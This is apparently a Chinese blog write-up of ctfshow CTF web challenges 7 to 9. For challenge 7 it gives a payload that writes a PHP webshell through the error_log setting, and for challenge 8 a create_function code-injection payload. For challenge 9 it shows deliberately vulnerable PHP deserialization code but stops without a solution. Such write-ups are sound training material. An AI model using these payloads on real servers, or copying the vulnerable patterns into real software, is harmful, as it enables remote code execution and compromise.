目录

  1. 1. 前言
  2. 2. 红包挑战7
  3. 3. 红包挑战8
  4. 4. 红包挑战9

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

ctfshow 红包挑战7-9

2023/9/28 Web ctfshow
  |     |   总文章阅读量:

前言

题目太多要复现不过来了555

官方wp:

挑战7

挑战8

挑战9

红包挑战7

利用xdebug报错写马到错误日志

源码

<?php
highlight_file(__FILE__);
error_reporting(2);


extract($_GET);
ini_set($name,$value);


system(
    "ls '".filter($_GET[1])."'"
);

function filter($cmd){
    $cmd = str_replace("'","",$cmd);
    $cmd = str_replace("\\","",$cmd);
    $cmd = str_replace("`","",$cmd);
    $cmd = str_replace("$","",$cmd);
    return $cmd;
}

审计一下源码,因为我们传入的参数1外面套了一层单引号,而且过滤了单引号不能进行闭合,所以这里查看目录的命令是写死的

得从上面的extract($_GET);ini_set($name,$value);入手,我这里尝试过利用这个函数来配置disabled_function以禁用filter函数,但是disabled_function不能用ini_set来写入

这里需要先遍历一下目录查找线索,在/usr/local/lib/php/extensions/下查看php扩展

image-20230928091830284

发现有xdebug

xdebug在处理截断问题的时候,会将异常payload回显。而system刚好可以用%00进行截断来触发异常

那么这里就可以考虑利用异常报错

error_log配置:设置脚本错误将被记录到的文件,即报错信息将被写入到指定路径

利用ini_set,我们可以实现写马命令执行

payload:

?name=error_log&value=/var/www/html/1.php&1=%00<?php system("cat /f*");?>

image-20230928092500803

然后访问1.php即可

image-20230928092641367


红包挑战8

create_function命令注入

<?php
highlight_file(__FILE__);
error_reporting(0);

extract($_GET);
create_function($name,base64_encode($value))();

思路可以直接看我的rce文章

总之就是要先闭合create_function然后执行命令

这里我们对$name部分进行注入

payload:

?name=){system("ls /");}/*

于是创建的匿名函数就为

function __lambda_func(){system("ls /");}/*){$code;}

红包挑战9

代码审计

<?php
class user
{
    public $id;
    public $username;
    private $password;

    public function __toString()
    {
        return $this->username;
    }
}

class cookie_helper
{
    private $secret = "*************"; //敏感信息打码

    public  function getCookie($name)
    {
        return $this->verify($_COOKIE[$name]);
    }

    public function setCookie($name, $value)
    {
        $data = $value . "|" . md5($this->secret . $value);
        setcookie($name, $data);
    }

    private function verify($cookie)
    {
        $data = explode('|', $cookie);
        if (count($data) != 2) {
            return null;
        }
        return md5($this->secret . $data[0]) === $data[1] ? $data[0] : null;
    }
}


class mysql_helper
{
    private $db;
    public $option = array(
        PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
    );

    public function __construct()
    {
        $this->init();
    }

    public function __wakeup()
    {
        $this->init();
    }


    private function init()
    {
        $this->db = array(
            'dsn' => 'mysql:host=127.0.0.1;dbname=blog;port=3306;charset=utf8',
            'host' => '127.0.0.1',
            'port' => '3306',
            'dbname' => '****', //敏感信息打码
            'username' => '****', //敏感信息打码
            'password' => '****', //敏感信息打码
            'charset' => 'utf8',
        );
    }

    public function get_pdo()
    {
        try {
            $pdo = new PDO($this->db['dsn'], $this->db['username'], $this->db['password'], $this->option);
        } catch (PDOException $e) {
            die('数据库连接失败:' . $e->getMessage());
        }

        return $pdo;
    }
}

class application
{
    public $cookie;
    public $mysql;
    public $dispather;
    public $loger;
    public $debug = false;

    public function __construct()
    {
        $this->cookie = new cookie_helper();
        $this->mysql = new mysql_helper();
        $this->dispatcher = new dispatcher();
        $this->loger = new userLogger();
        $this->loger->setLogFileName("log.txt");
    }

    public function register($username, $password)
    {
        $this->loger->user_register($username, $password);
        $pdo = $this->mysql;
        $sql = "insert into user(username,password) values(?,?)";
        $pdo = $this->mysql->get_pdo();
        $stmt = $pdo->prepare($sql);
        $stmt->execute(array($username, $password));
        return $pdo->lastInsertId() > 0;
    }

    public function login($username, $password)
    {
        $this->loger->user_login($username, $password);
        $sql = "select id,username,password from user where username = ? and password = ?";
        $pdo = $this->mysql->get_pdo();
        $stmt = $pdo->prepare($sql);
        $stmt->execute(array($username, $password));
        $ret = $stmt->fetch();
        return $ret['password'] === $password;
    }
    public function getLoginName($name)
    {
        $data = $this->cookie->getCookie($name);
        if ($data === NULL && isset($_GET['token'])) {
            session_decode($_GET['token']);
            $data = $_SESSION['user'];
        }
        return $data;
    }

    public function logout()
    {
        $this->loger->user_logout();
        setCookie("user", NULL);
    }

    private function log_last_user()
    {
        $sql = "select username,password from user order by id desc limit 1";
        $pdo = $this->mysql->get_pdo();
        $stmt = $pdo->prepare($sql);
        $stmt->execute();
        $ret = $stmt->fetch();
    }
    public function __destruct()
    {
        if ($this->debug) {
            $this->log_last_user();
        }
    }
}

class userLogger
{

    public $username;
    private $password;
    private $filename;

    public function __construct()
    {
        $this->filename = "log.txt_$this->username-$this->password";
    }
    public function setLogFileName($filename)
    {
        $this->filename = $filename;
    }

    public function __wakeup()
    {
        $this->filename = "log.txt";
    }
    public function user_register($username, $password)
    {
        $this->username = $username;
        $this->password = $password;
        $data = "操作时间:" . date("Y-m-d H:i:s") . "用户注册: 用户名 $username 密码 $password\n";
        file_put_contents($this->filename, $data, FILE_APPEND);
    }

    public function user_login($username, $password)
    {
        $this->username = $username;
        $this->password = $password;
        $data = "操作时间:" . date("Y-m-d H:i:s") . "用户登陆: 用户名 $username 密码 $password\n";
        file_put_contents($this->filename, $data, FILE_APPEND);
    }

    public function user_logout()
    {
        $data = "操作时间:" . date("Y-m-d H:i:s") . "用户退出: 用户名 $this->username\n";
        file_put_contents($this->filename, $data, FILE_APPEND);
    }

    public function __destruct()
    {
        $data = "最后操作时间:" . date("Y-m-d H:i:s") . " 用户名 $this->username 密码 $this->password \n";
        $d = file_put_contents($this->filename, $data, FILE_APPEND);
    }
}
class dispatcher
{

    public function sendMessage($msg)
    {
        echo "<script>alert('$msg');window.history.back();</script>";
    }
    public function redirect($route)
    {

        switch ($route) {
            case 'login':
                header("location:index.php?action=login");
                break;
            case 'register':
                header("location:index.php?action=register");
                break;
            default:
                header("location:index.php?action=main");
                break;
        }
    }
}

可以看到里面出现了很多sql语句,但是由于都经过了预处理我们无法注入

那只能把思路转换到反序列化上,翻了一下,里面能利用的函数就是通过file_put_contents写马

但是再往下本人就没啥思路了